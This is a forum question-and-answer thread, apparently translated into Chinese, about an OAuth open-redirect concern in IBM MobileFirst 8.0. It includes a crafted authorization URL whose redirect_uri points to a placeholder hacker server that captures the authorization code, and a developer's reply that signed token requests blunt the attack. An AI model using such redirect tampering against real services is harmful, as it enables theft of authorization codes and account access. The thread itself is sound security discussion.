2016-12-29 37 views
1

我通过安全检查(UserAuthSecurityCheck)登录到应用程序。IBM Mobile First 8.0 oAuth - 授权代码发送到意外服务器

我构建了授权终点的URL,并将redirect_uri更改为不同的服务器(黑客服务器)。

http://mobilefirstserver:port/mfp/api/az/v1/authorization?response_type=code&client_id=CLIENT_ID&scope=UserAuthSecurityCheck&redirect_uri=http://hackerserver:port/context/getdata

当我提出这个要求,它提供的授权码到黑客的服务器。 http://hackerserver:port/context/getdata?code=authorization_code

现在我可以在黑客服务器上访问这个authorization_code了。

我相信黑客可以利用这一点,他让你点击不同浏览器标签中的链接,并且能够执行授权终点的请求。

为什么在“redirect_uri”的框架中没有白名单?

如何减轻这个问题?

打开重定向必须避免为每OAuth的规范
https://tools.ietf.org/html/rfc6749#section-10.15

回答

1

你是对的,我们不是白名单的redirect_uri,然而,MobileFirst服务器通过强制令牌请求(减轻该漏洞使用授权代码)被签名 - 从而使攻击无效。

声明:我是IBM MobileFirst Foundation团队的开发人员。

+0

感谢您的回答。 但我仍然看到这种方法的问题。我可以更改“redirect_uri”并将授权码发送到不同的服务器。 如果我在不同的服务器中获得授权码。我可以使用该授权码来获得令牌终点以获得访问令牌。 因此,授权码是有符号还是无符号并不重要。因为MF服务器是提供授权码的人。 –

+0

客户端需要用他的私钥对代码进行签名,并在颁发令牌之前在服务器中进行验证,因此授权代码本身并不会有用。 – idohu